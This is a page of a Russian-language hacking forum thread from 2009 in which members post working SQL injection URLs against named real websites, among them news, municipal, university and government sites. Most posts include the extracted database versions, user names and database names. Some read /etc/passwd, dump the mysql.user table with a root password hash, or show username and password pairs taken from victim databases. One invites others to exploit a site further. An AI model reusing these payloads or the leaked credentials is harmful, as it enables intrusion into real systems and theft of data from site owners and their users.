SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    slb.ru PR 5 ТИЦ 275

    Code:
    http://slb.ru/page.php?code=-15+union+select   +1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14+--+
    Version: 4.1.22
    Database: slb_sql
    User: slb@localhost

    mayprint.ru

    Code:
    http://www.mayprint.ru/news_page.php?code=-20+UNION+SELECT+1,2,3,unhex(hex(concat_ws(0x3a,version(),database(),user()))),5+--+
    Version: 4.1.11-standard
    Database: db_mayprint
    User: [email protected]

    burenki.ru

    Code:
    http://www.burenki.ru/view_news.php?id=-5+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5+--+
    Version: 5.0.67-log
    Database: u30138
    User: [email protected]
     
    #10561 nemaniak, 6 Sep 2009
    Last edited: 6 Sep 2009
    3 people like this.
  2. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    кому интересно - раскручивайте

    http://www.vijesti.co.me/index.php?id=-270622/**/union/**/select/**/1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
     
    7 people like this.
  3. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    gorsovet.miass.ru - - - Собрание депутатов Миасского городского округа ТИЦ = 10
    http://www.gorsovet.miass.ru/com.php?id=1/**/anD/**/substring(version(),1,1)=5/*&ident=0
    ветка - 5
     
    4 people like this.
  4. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    Code:
    http://www.windbrake.us/news.php?ID=-824+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6--
    Code:
    http://www.myownsite.us/blog/index.php?id=-30+union+select+concat_ws(0x3a,version(),database(),user())
     
    2 people like this.
  5. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://diq.usach.cl/proyecto.php?id=-11+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--
    [email protected]:diq:5.0.27
     
    4 people like this.
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.naswassurance.org/books_of_interest.php?page_id=-7+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7+from+users/*
    Database Version: 4.1.22
    Database name: nasw1_asi
    User name: [email protected]
     
    3 people like this.
  7. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.car-man.cl/contactoscar.php?con=1&id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15--
    sanagust_1@localhost:sanagust_1:5.0.81-community
     
    1 person likes this.
  8. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    eda
    pg
     
    2 people like this.
  9. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    artinside.ru PR-4 ТИЦ-30

    Code:
    http://artinside.ru/work.php?code=-28+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10,11+--+
    version: 5.0.67-log
    database: u22850
    user: [email protected]
     
    1 person likes this.
  10. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://scott.buffington.me/index.php?action=show&id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6--
    
    scott-woah@localhost:scottbuffme:5.0.51a-3ubuntu5.4-log
    Code:
    http://scott.buffington.me/index.php?action=show&id=-1+union+select+1,2,3,load_file(0x2F6574632F706173737764),5,6--
    
    Code:
    http://scott.buffington.me/index.php?action=show&id=-1+union+select+1,2,3,concat_ws(0x3a,user,password,file_priv),5,6+from+mysql.user--
    root:*BEAE739996CC41EE7EA0C8D35AE2270BE5D6AE1D:Y
     
    3 people like this.
  11. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    portbld-freebsd4.8///expo///[email protected]
    4.0.27

    Администратор:::eek:lga
     
    1 person likes this.
  12. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    тИц = 110
    Code:
    http://vector-images.com/heraldry.php?id=-136+union+select+1,2,3+--
    3 поля

    Code:
    http://vector-images.com/heraldry.php?id=-136+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3+--
    version:4.0.24_Debian-5
    db:rocich
    user:rocich@localhost
    OS: pc-linux-gnu



    that's all :( because 4.0.24
     
    #10572 L I G A, 6 Sep 2009
    Last edited: 6 Sep 2009
    7 people like this.
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 6
    Code:
    http://culture.ana-mpa.gr/view5.php?id=-3693+union+select+unhex(hex(load_file(0x2f6574632f706173737764)))+from+mysql.user/*
    Database Version: 4.1.8-standard
    Database name: ape_culture_new
    User name: root@localhost
     
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 8
    Code:
    http://www.culturalpolicies.net/web/profiles-news.php?cid=-1340+union+select+version(),2/*
    Database Version: 5.0.32-Debian_7etch11-log
    Database name: DB4i2kyq4AS5
    User name: KDnvJJMcs9Lq@localhost
     
    4 people like this.
  15. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    jlkc2009 5.0.75-0ubuntu10cress@localhost

    4.0.24pleksus@localhostJOURNAL_ut
     
    4 people like this.
  16. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    www.warrencountypa.net
    http://www.warrencountypa.net/current/com.php?ID=1/**/anD/**/1=7%20/**/unIOn/**/seLEcT/**/1,version(),3,4,5,6
    version - 5.0.51a-log
    user - [email protected]
    database - warrenco_elected
     
    4 people like this.
  17. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://sdo.altstu.ru/showbook.php?id=-7+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9--
    5.1.25-rc-log:_secna_distancer@localhost:_secna_astu_distance



    Code:
    http://www.diafilms.ru/index.php?id=7&type=list&gr=0&pg=-22+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,user(),version(),database()))),7,8,9,10,11,12,13,14,15,16,1,18,19,20,21,22,23+--
    [email protected]:4.1.13a-nt-max-log:1gb_diafilm
    ТИЦ: 90




    Code:
    http://www.sl.ru/print.phtm?id=7+and+substring(version(),1,1)=3
    3 ветка
    ТИЦ: 550
     
    5 people like this.
  18. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    james:b4cc344d25a2efe540adbf2678e2304c: = :trustadmin

    5.0.45
     
    3 people like this.
  19. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Code:
    http://swarzedzki.gminny.pl/go.php?page=nr&nr=1+union+select+concat_ws(0x3,version(),user(),database()),2,3,4,5,6,7
    5.0.22 watra_mgsw_user@localhost watra_mgsw
     
    4 people like this.
  20. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    http://www.excellentgloballimeira.com.br/com.php?id=1/**/anD/**/1=8/**/uniON/**/seLEcT/**/1,2,3,version(),user(),database(),7,8+--+
    version - 5.0.67-community
    user - excellentgloba
    database - [email protected]
     
    7 people like this.
Thread Status:
Not open for further replies.